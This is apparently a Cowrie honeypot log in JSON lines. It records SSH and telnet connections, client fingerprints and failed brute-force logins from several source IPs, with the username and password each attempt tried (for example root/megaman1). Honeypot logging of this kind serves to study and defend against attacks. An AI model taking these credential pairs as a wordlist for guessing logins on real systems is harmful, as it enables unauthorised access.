{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:54:42.813376Z","src_ip":"189.190.244.176","session":"ed700fbd2b37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:54:42.892991Z","src_ip":"189.190.244.176","session":"ed700fbd2b37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345678","message":"login attempt [minecraft/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:54:43.225574Z","src_ip":"189.190.244.176","session":"ed700fbd2b37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:54:44.301954Z","src_ip":"189.190.244.176","session":"ed700fbd2b37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.88.94","src_port":44502,"dst_ip":"159.203.135.109","dst_port":22,"session":"53001cbe0c2e","protocol":"ssh","message":"New connection: 162.144.88.94:44502 (159.203.135.109:22) [session: 53001cbe0c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:55:23.397811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:55:23.401819Z","src_ip":"162.144.88.94","session":"53001cbe0c2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:55:23.483404Z","src_ip":"162.144.88.94","session":"53001cbe0c2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"haiti","password":"PortAuPrince#Ethereum$P@ss!","message":"login attempt [haiti/PortAuPrince#Ethereum$P@ss!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:55:23.731188Z","src_ip":"162.144.88.94","session":"53001cbe0c2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:55:24.819067Z","src_ip":"162.144.88.94","session":"53001cbe0c2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.169.217.131","src_port":56308,"dst_ip":"159.203.135.109","dst_port":22,"session":"b34ba594122d","protocol":"ssh","message":"New connection: 52.169.217.131:56308 (159.203.135.109:22) [session: b34ba594122d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:55:43.948021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:55:43.952783Z","src_ip":"52.169.217.131","session":"b34ba594122d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:55:44.018824Z","src_ip":"52.169.217.131","session":"b34ba594122d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"megaman1","message":"login attempt [root/megaman1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:55:44.315713Z","src_ip":"52.169.217.131","session":"b34ba594122d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":37052,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd762601c09b","protocol":"telnet","message":"New connection: 72.167.226.244:37052 (10.17.0.5:23) [session: bd762601c09b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:55:45.260341Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:55:45.383188Z","src_ip":"52.169.217.131","session":"b34ba594122d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.64.128","src_port":34280,"dst_ip":"10.17.0.5","dst_port":22,"session":"4725200929bc","protocol":"ssh","message":"New connection: 162.144.64.128:34280 (10.17.0.5:22) [session: 4725200929bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:55:51.200666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:55:51.205177Z","src_ip":"162.144.64.128","session":"4725200929bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:55:51.297320Z","src_ip":"162.144.64.128","session":"4725200929bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bch","password":"bch2024","message":"login attempt [bch/bch2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:55:51.568081Z","src_ip":"162.144.64.128","session":"4725200929bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:55:54.707201Z","src_ip":"162.144.64.128","session":"4725200929bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":59566,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5063ed75fb7","protocol":"ssh","message":"New connection: 45.61.187.220:59566 (159.203.135.109:22) [session: b5063ed75fb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:55:57.418804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:55:57.423087Z","src_ip":"45.61.187.220","session":"b5063ed75fb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:55:57.463396Z","src_ip":"45.61.187.220","session":"b5063ed75fb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"-","message":"login attempt [root/-] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:55:57.620777Z","src_ip":"45.61.187.220","session":"b5063ed75fb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:55:58.664209Z","src_ip":"45.61.187.220","session":"b5063ed75fb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":59360,"dst_ip":"10.17.0.5","dst_port":23,"session":"8652680a284f","protocol":"telnet","message":"New connection: 72.167.226.244:59360 (10.17.0.5:23) [session: 8652680a284f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:55:58.838485Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.239.252.132","src_port":60419,"dst_ip":"159.203.135.109","dst_port":22,"session":"24e01db0653c","protocol":"ssh","message":"New connection: 103.239.252.132:60419 (159.203.135.109:22) [session: 24e01db0653c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:56:04.635682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:56:04.641817Z","src_ip":"103.239.252.132","session":"24e01db0653c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:56:04.893845Z","src_ip":"103.239.252.132","session":"24e01db0653c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd#12345","message":"login attempt [root/P@ssw0rd#12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:56:05.866347Z","src_ip":"103.239.252.132","session":"24e01db0653c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:56:07.115540Z","src_ip":"103.239.252.132","session":"24e01db0653c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.81749153137207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:56:16.077703Z","src_ip":"72.167.226.244","session":"bd762601c09b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.190.244.176","src_port":41502,"dst_ip":"10.17.0.5","dst_port":22,"session":"24ab2751fad3","protocol":"ssh","message":"New connection: 189.190.244.176:41502 (10.17.0.5:22) [session: 24ab2751fad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:56:18.508245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:56:18.512117Z","src_ip":"189.190.244.176","session":"24ab2751fad3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:56:18.585581Z","src_ip":"189.190.244.176","session":"24ab2751fad3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cq123456.","message":"login attempt [root/Cq123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:56:18.914284Z","src_ip":"189.190.244.176","session":"24ab2751fad3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:56:19.989971Z","src_ip":"189.190.244.176","session":"24ab2751fad3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.201683521270752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:56:29.040064Z","src_ip":"72.167.226.244","session":"8652680a284f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":60738,"dst_ip":"159.203.135.109","dst_port":22,"session":"532d530b7809","protocol":"ssh","message":"New connection: 45.61.187.220:60738 (159.203.135.109:22) [session: 532d530b7809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:57:19.058260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:57:19.064593Z","src_ip":"45.61.187.220","session":"532d530b7809","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:57:19.094226Z","src_ip":"45.61.187.220","session":"532d530b7809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zxcvb123","message":"login attempt [root/Zxcvb123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:57:19.267049Z","src_ip":"45.61.187.220","session":"532d530b7809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:57:20.306906Z","src_ip":"45.61.187.220","session":"532d530b7809","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.169.217.131","src_port":59576,"dst_ip":"159.203.135.109","dst_port":22,"session":"df8900affa82","protocol":"ssh","message":"New connection: 52.169.217.131:59576 (159.203.135.109:22) [session: df8900affa82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:57:31.482011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:57:31.484836Z","src_ip":"52.169.217.131","session":"df8900affa82","protocol":"ssh"}
